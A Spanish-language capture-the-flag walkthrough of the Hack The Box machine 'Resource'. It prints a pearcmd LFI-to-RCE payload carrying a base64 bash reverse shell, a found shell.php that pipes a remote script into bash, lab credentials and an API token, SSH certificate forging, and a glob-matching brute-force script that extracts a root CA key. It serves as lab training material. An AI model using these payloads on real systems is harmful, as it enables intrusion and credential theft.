Descripción
Resource es una máquina difícil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Inclusión de archivos locales en una aplicación PHP en Docker que da lugar a una ejecución remota de comandos
- Pivote de usuario utilizando una contraseña reutilizada recuperada de un archivo HAR
- Pivote de usuario firmando una clave pública para iniciar sesión utilizando SSH usando una el archivo de una clave privada de una Autoridad de Certificación
- Escape de Docker firmando una clave pública con una API para iniciar sesión utilizando SSH y un principal
- Pivote de usuario firmando una clave pública con una API para iniciar sesión utilizando SSH y un principal
- Escalada de privilegios mediante un script vulnerable que permite recuperar la clave privada de la Autoridad de Certificación para luego generar un certificado para el usuario
root
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.81.215.
$ ping -c 3 10.129.81.215
PING 10.129.81.215 (10.129.81.215) 56(84) bytes of data.
64 bytes from 10.129.81.215: icmp_seq=1 ttl=63 time=46.9 ms
64 bytes from 10.129.81.215: icmp_seq=2 ttl=63 time=46.5 ms
64 bytes from 10.129.81.215: icmp_seq=3 ttl=63 time=46.3 ms
--- 10.129.81.215 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.332/46.544/46.852/0.222 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.81.215 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.81.215
Host is up (0.050s latency).
Not shown: 65490 closed tcp ports (reset), 42 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2222/tcp open EtherNetIP-1
Nmap done: 1 IP address (1 host up) scanned in 38.66 seconds
Obtenemos tres puertos abiertos: 22, 80 y 2222.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.81.215 -sV -sC -p22,80,2222 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.81.215
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 d5:4f:62:39:7b:d2:22:f0:a8:8a:d9:90:35:60:56:88 (ECDSA)
|_ 256 fb:67:b0:60:52:f2:12:7e:6c:13:fb:75:f2:bb:1a:ca (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_ 256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.75 seconds
Obtenemos tres servicios: dos Secure Shell (SSH) y uno de Hypertext Transfer Protocol (HTTP). Dado que no tenemos credenciales factibles para el servicio SSH, vamos a pasar al servicio HTTP. Podemos ver que la redirección del servicio HTTP se dirige a itrc.ssg.htb. Por lo tanto, lo agregamos al archivo /etc/hosts.
$ echo "10.129.81.215 itrc.ssg.htb" | sudo tee -a /etc/hosts
También añadimos el host principal, ssg.htb.
$ echo "10.129.81.215 ssg.htb" | sudo tee -a /etc/hosts
Encontramos el “Centro de Recursos IT SSG”. Podemos registrarnos o iniciar sesión con una cuenta.
Nos registramos con una cuenta, por ejemplo, con el nombre de usuario newuser y la contraseña 12345678. Cuando nos logueamos, nos redirige a una página donde podemos leer y abrir tickets.
Vemos que la URL parece ser http://itrc.ssg.htb/index.php?page=dashboard. Vamos a enumerar el parámetro page con wfuzz para encontrar más páginas web.
$ wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --hw=207 -b 'PHPSESSID: 841c88bc0168fb629fe70ba05fb3f9c9' "http://itrc.ssg.htb/?page=FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://itrc.ssg.htb/?page=FUZZ
Total requests: 87664
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000015: 200 34 L 96 W 2276 Ch "index" 000000053: 200 43 L 126 W 2709 Ch "login" 000000065: 200 44 L 135 W 2842 Ch "register" 000000259: 200 25 L 67 W 1331 Ch "admin" 000000852: 200 34 L 96 W 2276 Ch "db" 000001222: 200 38 L 136 W 2627 Ch "logout" 000002916: 200 25 L 67 W 1331 Ch "dashboard" 000005268: 200 25 L 67 W 1331 Ch "ticket" 000034468: 200 25 L 67 W 1331 Ch "loggedin"
Total time: 896.8405
Processed Requests: 87664
Filtered Requests: 87655
Requests/sec.: 97.74759
Encontramos un punto de conexión interesante llamado admin, o index.php?page=admin.
Podemos acceder al panel de administración y observar los títulos de las incidencias abiertas y cerradas. Al acceder a cualquier ticket, por ejemplo en /?page=ticket&id=1, no podemos ver su contenido y nos redirige a la página principal. Con el comando Check Server Up podemos hacer un ping al host que indicamos, pero no es posible inyectar comandos. Si enviamos el parámetro id como un array obtenemos una advertencia del sitio web.
$ curl --cookie 'PHPSESSID=841c88bc0168fb629fe70ba05fb3f9c9' 'http://itrc.ssg.htb/?page=ticket&id[]=1'
...
<div class="flash-message" id="flashMessage" >Unable to retieve ticket</div><div class="main"><br />
<b>Warning</b>: Array to string conversion in <b>/var/www/itrc/ticket.php</b> on line <b>8</b><br />
<script>window.location = '/';</script>
Podemos comprobar si la página web es vulnerable a la inclusión de archivos locales cambiando el parámetro page a /var/www/itrc/admin. A pesar de seguir accediendo al panel de administrador, esto indica que es vulnerable pero solo con archivos PHP, ya que no se especifica la extensión. Al tomar información del sitio PayloadsAllTheThings, sabemos que PEAR es un marco y sistema de distribución para componentes PHP reutilizables. Por defecto, pearcmd.php se instala en cada imagen Docker de PHP en /usr/local/lib/php/pearcmd.php. Podemos comprobar si existe utilizando la LFI. Si el archivo existe nos redirige a la página principal, pero si no existe obtenemos una página vacía.
$ curl --cookie 'PHPSESSID=841c88bc0168fb629fe70ba05fb3f9c9' 'http://itrc.ssg.htb/index.php?page=/usr/local/lib/php/pearcmd'
No nos redirecciona por lo que el archivo existe.
Explotación
Como el archivo existe, vamos a intentar crear un archivo PHP en el sistema remoto que nos permita ejecutar comandos y crear una terminal inversa. Necesitamos codificar el comando con Base64, en este caso bash -c "bash -i >& /dev/tcp/10.10.14.37/1234 0>&1". Es importante no incluir el carácter + en la cadena de Base64 por lo que podamos agregar espacios extra al comando original. Antes de ejecutar el comando iniciamos la escucha del puerto.
$ nc -nvlp 1234
$ curl --cookie 'PHPSESSID=841c88bc0168fb629fe70ba05fb3f9c9' 'http://itrc.ssg.htb/index.php?page=/usr/local/lib/php/pearcmd&+config-create+/&/<?shell_exec(base64_decode("YmFzaCAtYyAgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzcvMTIzNCAwPiYxIg=="));?>+/var/www/itrc/rshell.php'
$ curl 'http://itrc.ssg.htb/rshell.php'
Obtenemos acceso al sistema como el usuario www-data, por lo que actualizamos la terminal.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.37] from (UNKNOWN) [10.129.81.215] 34528
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@itrc:/var/www/itrc$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Post-Explotación (1)
Encontramos en la máquina a los usuarios con privilegios de consola, que son root, msainristil y zzinter.
www-data@itrc:/var/www/itrc$ grep "bash" /etc/passwd
root:x:0:0:root:/root:/bin/bash
msainristil:x:1000:1000::/home/msainristil:/bin/bash
zzinter:x:1001:1001::/home/zzinter:/bin/bash
En el directorio raíz del servidor web encontramos un carpeta llamada uploads que contiene varios archivos ZIP dentro de ella.
www-data@itrc:/var/www/itrc$ ls
admin.php create_ticket.php filter.inc.php home.php login.php rshell.php ticket.php
api dashboard.php footer.inc.php index.php logout.php rshell2.php ticket_section.inc.php
assets db.php header.inc.php loggedin.php register.php savefile.inc.php uploads
www-data@itrc:/var/www/itrc$ cd uploads
www-data@itrc:/var/www/itrc/uploads$ ls
21de93259c8a45dd2223355515f1ee70d8763c8a.zip b829beac87ea0757d7d3432edeac36c6542f46c4.zip e8c6575573384aeeab4d093cc99c7e5927614185.zip
88dd73e336c2f81891bddbe2b61f5ccb588387ef.zip c2f4813259cc57fab36b311c5058cf031cb6eb51.zip eb65074fe37671509f24d1652a44944be61e4360.zip
Los extraemos.
www-data@itrc:/tmp/tmp.wt4avzu77d$ for f in *.zip; do unzip -o $f; done
Archive: 21de93259c8a45dd2223355515f1ee70d8763c8a.zip
inflating: shell.php
Archive: 88dd73e336c2f81891bddbe2b61f5ccb588387ef.zip
inflating: shell.php
Archive: b829beac87ea0757d7d3432edeac36c6542f46c4.zip
inflating: shell.php
Archive: c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
inflating: itrc.ssg.htb.har
Archive: e8c6575573384aeeab4d093cc99c7e5927614185.zip
inflating: id_rsa.pub
Archive: eb65074fe37671509f24d1652a44944be61e4360.zip
inflating: id_ed25519.pub
Encontramos un archivo llamado shell.php que contiene código para ejecutar comandos remotos. También encontramos dos archivos de claves SSH públicas, id_rsa.pub perteneciente al usuario mgraham y id_ed25519.pub perteneciente al usuario mbcgregor.
www-data@itrc:/tmp/tmp.wt4avzu77d$ cat shell.php
<?php system("curl 10.10.14.23/bash.sh|bash"); ?>www-
www-data@itrc:/tmp/tmp.wt4avzu77d$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa1RS3oCZOLoHXlCKYKOBCiaQzNA9weEgvkEyVCr6Wrtlli8clZi5tJkZiRUyRkqrvR6lX3uzEY/OePxDq0/i73bYN2wc60AXn0UFm8WEqfu5fYSao8vZK/Yop80NAXA/x2JHeK74nC8feM9+u004NSjmj5tC8I8C6ywF0ZPu9Bym0RC/Nm8kOGDmrNWqV03owO5XzHBu5u4P1WdL7ge4JAmB0lE7eNv0FJATxQ4hHZghtQvOu3qWUqEbyjzkKrMbKuF2KPIiH3Ep6dWrbKjJ9MIUATJDwNwK6h5x10s/G6aQ8jkPKe0s1SucovFb9b3C/PiYmjlMoAVqoMF8mrQ3NFIsgFFGsJ+pUSMUIkZ/2/EfsPEmA1jfkzEAD18UH1PtXo4GehRAbKw9lcbu1MbQHMGJg+0W/95RxK+wy0NSLuwmycKvpY8MKO9MWP6UMoQmAhYEToulcfwrDGD9ncbzzTd1A951JWkpynGqVKazDIvvrb+MF1XXib2HYZ/7XGQs= mgraham@ssg.htb
www-data@itrc:/tmp/tmp.wt4avzu77d$ cat id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMI916//9yp/9z9HQn1OCxitlWqEYWkLoST6Z+5dNSBs bmcgregor@ssg.htb
Finalmente encontramos el archivo itrc.ssg.htb.har que contiene el tráfico capturado con la página web de itrc.ssg.htb. Al interceptar la solicitud de inicio de sesión en la página web, vemos que se están enviando los parámetros user y pass como user=<USUARIO>&pass=<CONTRASEÑA>. Esto nos permite buscar credenciales en el archivo de captura.
www-data@itrc:/tmp/tmp.wt4avzu77d$ grep -E "user=.*&pass=.*" itrc.ssg.htb.har
"text": "user=msainristil&pass=82yards2closeit",
Encontramos una credencial con el usuario msainristil y la contraseña 82yards2closeit. Podemos utilizar estos datos para iniciar sesión en la página web. Una vez dentro, encontramos un ticket abierto y una conversación entre los usuarios msainristil y zzinter. El usuario está teniendo problemas con el descarga de certificados firmados, no funciona correctamente.
El usuario está adjuntando un archivo ZIP con el HAR que hemos analizados previamente. De forma más profunda, en Charles Proxy, vemos que el usuario está intentando emitir un certificado para bcmcgregor, pero el servidor responde con un error 500 Internal Server Error. Regresando a la conversación, se refieren a un script Bash propiedad de zzinter que se utiliza para generar claves para las entradas SSH. También observamos que existe una API para firmar claves públicas con un “principal”. Recordamos que tenemos una cuenta Linux con el mismo nombre. Iniciamos sesión usando SSH. El inicio de sesión funciona a través del puerto 22. Encontramos la carpeta decommission_old_ca.
$ ssh msainristil@ssg.htb
msainristil@ssg.htb's password:
...
msainristil@itrc:~$ id
uid=1000(msainristil) gid=1000(msainristil) groups=1000(msainristil)
msainristil@itrc:~$ ls
decommission_old_ca
Este directorio contiene una Autoridad de Certificación utilizada para firmar las claves públicas como ya vimos previamente en la conversación.
msainristil@itrc:~$ cd decommission_old_ca
msainristil@itrc:~/decommission_old_ca$ ls -l
total 8
-rw------- 1 msainristil msainristil 2602 Jan 24 2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil 572 Jan 24 2024 ca-itrc.pub
msainristil@itrc:~/decommission_old_ca$ cat ca-itrc
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
A9QyX0p7GeHa+9AAAAEklUUkMgQ2VydGlmY2F0ZSBDQQ==
-----END OPENSSH PRIVATE KEY-----
msainristil@itrc:~/decommission_old_ca$ cat ca-itrc.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoBD1UoFfL41g/FVX373rdm5WPz+SZ0bWt5PYP+dhok4vb3UpJPIGOeAsXmAkzEVYBHIiE+aGbrcXvDaSbZc6cI2aZfFraEPt080KVKHALAPgaOn/zFdld8P9yaENKBKltWLZ9I6rwg98IGEToB7JNZF9hzasjjD0IDKv8JQ3NwimDcZTc6Le0hJw52ANcLszteliFSyoTty9N/oUgTUjkFsgsroEh+Onz4buVD2bxoZ+9mODcdYTQ4ChwanfzFSnTrTtAQrJtyH/bDRTa2BpmdmYdQu+4HcbDl5NbiEwu1FNskz/YNDPkq3bEYEOvgMiu/0ZMy0wercx6Tn0G2cppS70/rG5GMcJi0WTcUic3k+XJ191WEG1EtXJNbZdtJc7Ky0EKhat0dgck8zpq62kejtkBQd86p6FvR8+xH3/JMxHvMNVYVODJt/MIik99sWb5Q7NCVcIXQ0ejVTzTI9QT27km/FUgl3cs5CZ4GIN7polPenQXEmdmbBOWD2hrlLs= ITRC Certifcate CA
Podemos utilizar esta clave privada para firmar un certificado y conectarnos al sistema como el otro usuario en el sistema zzinter. Primero generaremos nuestra propia pareja de claves y luego nos conectaremos. Luego iniciaremos sesión mediante SSH.
$ ssh-keygen -f zzinter22
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in zzinter22
Your public key has been saved in zzinter22.pub
The key fingerprint is:
SHA256:jrF8nCsKd1Mks28012hXWwQSSt9G48vQGvBUTeFT/bI kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| o +o==*|
| . * *.o+|
| o . . = *oo|
| = o B.+o|
| o S + + +o |
| . X = . E |
| . . * B |
| o ..+ . |
| .. .. |
+----[SHA256]-----+
$ chmod 600 ca-itrc
$ ssh-keygen -s ca-itrc -n zzinter -I 0 zzinter22.pub
Signed user key zzinter22-cert.pub: id "0" serial 0 for zzinter valid forever
$ ssh -i zzinter22 zzinter@ssg.htb
Al generar el archivo de certificado zzinter22-cert.pub, podríamos necesitar especificar el parámetro -o 'CertificateFile=zzinter22-cert.pub'. En este caso no es necesario. Obtenemos una terminal como el usuario zzinter.
$ ssh -i zzinter22 -o 'CertificateFile=zzinter22-cert.pub' zzinter@ssg.htb
...
zzinter@itrc:~$ id
uid=1001(zzinter) gid=1001(zzinter) groups=1001(zzinter)
zzinter@itrc:~$ hostname -i
172.223.0.3
zzinter@itrc:~$ ls
sign_key_api.sh user.txt
La dirección IP de la máquina es 172.223.0.3, por lo que podemos estar dentro de un contenedor Docker. Confirmamos esto mirando el proceso init, /bin/bash /opt/startup.sh.
zzinter@itrc:~$ ps -ef | grep root
root 1 0 0 ? 00:00:00 /bin/bash /opt/startup.sh
Mirando en el archivo sign_key_api.sh, encontramos el script Bash mencionado anteriormente.
zzinter@itrc:~$ cat sign_key_api.sh
#!/bin/bash
usage () {
echo "Usage: $0 <public_key_file> <username> <principal>"
exit 1
}
if [ "$#" -ne 3 ]; then
usage
fi
public_key_file="$1"
username="$2"
principal_str="$3"
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
public_key=$(cat $public_key_file)
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
¡Claro! Este script está enviando una clave pública a una API con un nombre de usuario y un “principal” para obtener un certificado. Podemos obtener un certificado para el usuario webadmin utilizando el principal webserver, para el usuario analytics utilizando el principal analytics, para el usuario support utilizando el principal support, y para el usuario support utilizando el principal security. Encontramos la dirección signserv.ssg.htb, por lo que la agregamos a nuestro archivo hosts.
$ echo "10.129.81.215 signserv.ssg.htb" | sudo tee -a /etc/hosts
Podemos intentar emitir un certificado para todos los usuarios y principales y luego probar a conectarnos al servidor SSH encontrado en el puerto 2222, ya que en el servicio del puerto 22 no hay más usuarios a quienes podamos iniciar sesión a excepción de root. Estamos utilizando este script Bash, cambiando las variables username y principal.
#!/bin/bash
mkdir certs
cd certs
username=webadmin
principal=webserver
ssh-keygen -f $username-$principal
public_key=$(cat $username-$principal.pub)
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" > $username-$principal.cert
ssh -i $username-$principal -o "CertificateFile=$username-$principal.cert" $username@ssg.htb -p 2222
Obtenemos un éxito al utilizar el nombre de usuario support y el principal support.
Post-Explotación (2)
Ahora tenemos acceso a la máquina principal con la dirección IP 10.129.81.215 y hemos escapado del contenedor Docker como el usuario support. En este sistema encontramos los usuarios root, support y zzinter.
support@ssg:~$ id
uid=1000(support) gid=1000(support) groups=1000(support)
support@ssg:~$ grep 'bash' /etc/passwd
root:x:0:0:root:/root:/bin/bash
support:x:1000:1000:support:/home/support:/bin/bash
zzinter:x:1001:1001::/home/zzinter:/bin/bash
Encontramos la carpeta auth_principals en el directorio /etc/ssh, que contiene los principales para los usuarios root, support y zzinter. También encontramos la Autoridad de Certificación del servidor, ca-it.
support@ssg:~$ ls -l /etc/ssh
total 596
drwxr-xr-x 2 root root 4096 Feb 8 12:16 auth_principals
-rw------- 1 root root 399 Feb 8 19:40 ca-analytics
-rw-r--r-- 1 root root 94 Feb 8 19:40 ca-analytics.pub
-rw------- 1 root root 432 Feb 8 19:42 ca-it
-rw-r--r-- 1 root root 116 Feb 8 19:43 ca-it.pub
-rw------- 1 root root 2655 Feb 8 19:03 ca-security
-rw-r--r-- 1 root root 569 Feb 8 19:03 ca-security.pub
-rw-r--r-- 1 root root 505426 Jul 19 2023 moduli
-rw-r--r-- 1 root root 1650 Jul 19 2023 ssh_config
drwxr-xr-x 2 root root 4096 Feb 7 21:52 ssh_config.d
-rw-r--r-- 1 root root 3240 Feb 7 21:48 sshd_config
drwxr-xr-x 2 root root 4096 Feb 8 12:24 sshd_config.d
...
support@ssg:~$ ls -l /etc/ssh/auth_principals/
total 12
-rw-r--r-- 1 root root 10 Feb 8 12:16 root
-rw-r--r-- 1 root root 18 Feb 8 12:16 support
-rw-r--r-- 1 root root 13 Feb 8 12:11 zzinter
support@ssg:~$ cat /etc/ssh/auth_principals/root
root_user
support@ssg:~$ cat /etc/ssh/auth_principals/zzinter
zzinter_temp
El principal para el usuario root es root_user y el principal para el usuario zzinter es zzinter_temp. Podemos utilizar esta información para generar el certificado utilizando la API para el usuario root, pero en respuesta obtenemos {"detail":"Root access must be granted manually. See the IT admin staff."}. Por lo tanto, cambiamos a generarlo para el usuario zzinter e iniciamos sesión en su cuenta. Obtenemos acceso sin problemas a su cuenta.
zzinter@ssg:~$ id
uid=1001(zzinter) gid=1001(zzinter) groups=1001(zzinter)
zzinter@ssg:~$ ls
user.txt
Encontramos un comando que el usuario zzinter puede ejecutar como usuario root, el script /opt/sign_key.sh.
zzinter@ssg:~$ sudo -l
Matching Defaults entries for zzinter on ssg:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User zzinter may run the following commands on ssg:
(root) NOPASSWD: /opt/sign_key.sh
zzinter@ssg:~$ cat /opt/sign_key.sh
#!/bin/bash
usage () {
echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
exit 1
}
if [ "$#" -ne 5 ]; then
usage
fi
ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"
if [ ! -f "$ca_file" ]; then
echo "Error: CA file '$ca_file' not found."
usage
fi
if [[ $ca == "/etc/ssh/ca-it" ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if ! [[ $serial =~ ^[0-9]+$ ]]; then
echo "Error: '$serial' is not a number."
usage
fi
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"
Veemos que el script se utiliza para firmar claves públicas, como vimos anteriormente, pero en este caso si la Autoridad de Certificación (CA) del servidor se pasa como parámetro, el proceso es detenido, requiriendo al usuario que utilice la API. Además, si proporcionamos realmente el archivo de CA, también lo rechaza haciendo una comparación. En la cuarta comparación IF podemos ver que las variables $itca y $ca no están entre comillas, lo que significa que las cadenas que introducimos serán tratadas como patrones de coincidencia. Esto significa que si introducimos el texto a* la condición será verdadera si la variable $itca comienza con el carácter a. Iteremos sobre todo el conjunto de caracteres disponible para una clave SSH privada codificada con Base64 (y el carácter de salto de línea). Si la coincidencia del patrón es exitosa, el script nos devuelve el mensaje Error: Use API for signing with this CA.. Creamos un script Bash que se encargará de recuperar la clave y guardarla en el archivo full_file.txt.
#!/bin/bash
chars="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-+/= "$'\n'
file_length=65535
file=""
## For every character in the file (limited by file_length)
for index in `seq 1 $file_length`
do
# For every number, uppercase lowercase, base64 character and new-line character
for (( i=0; i<${#chars}; i++ )); do
# Get the i character of the chars string
char="${chars:$i:1}"
# Execute the command and save its output to a file, then load it
echo -n "$file$char*" > partial_file.txt
sudo /opt/sign_key.sh partial_file.txt newkey.pub support support 777 &> log.txt
result_execution=`cat log.txt`
# If the output of the program matches, the character is valid
if [[ "$result_execution" == *"Use API"* ]]; then
file="$file$char"
echo "Character $index: $char"
break
fi
done
# If a character was not found for this index, the file is complete
if [[ "${#file}" -lt "$index" ]]; then
echo "Finished! Full file is $file"
echo "$file" > full_file.txt
break
fi
done
## Remove files
rm partial_file.txt log.txt
Después de diez minutos de fuerza bruta obtenemos la clave privada que utilizaremos para generar el certificado para iniciar sesión como la cuenta root.
zzinter@ssg:~$ bash script.sh
Character 1: -
Character 2: -
Character 3: -
Character 4: -
Character 5: -
Character 6: B
Character 7: E
Character 8: G
Character 9: I
Character 10: N
...
Finished! Full file is ...
zzinter@ssg:~$ cat full_file.txt
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
...
QBAgM=
-----END OPENSSH PRIVATE KEY-----
$ chmod 600 ca-it
$ ssh-keygen -f root_user
$ ssh-keygen -s ca-it -z 0 -I root -V -1w:forever -n root_user root-root_user.pub
$ ssh -i root-root_user -o "CertificateFile=root-root_user-cert.pub" root@ssg.htb -p 2222
root@ssg:~# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la terminal de root, podemos obtener las flags de user y root.
root@ssg:~# cat /home/zzinter/user.txt
<REDACTED>
root@ssg:~# cat /root/root.txt
<REDACTED>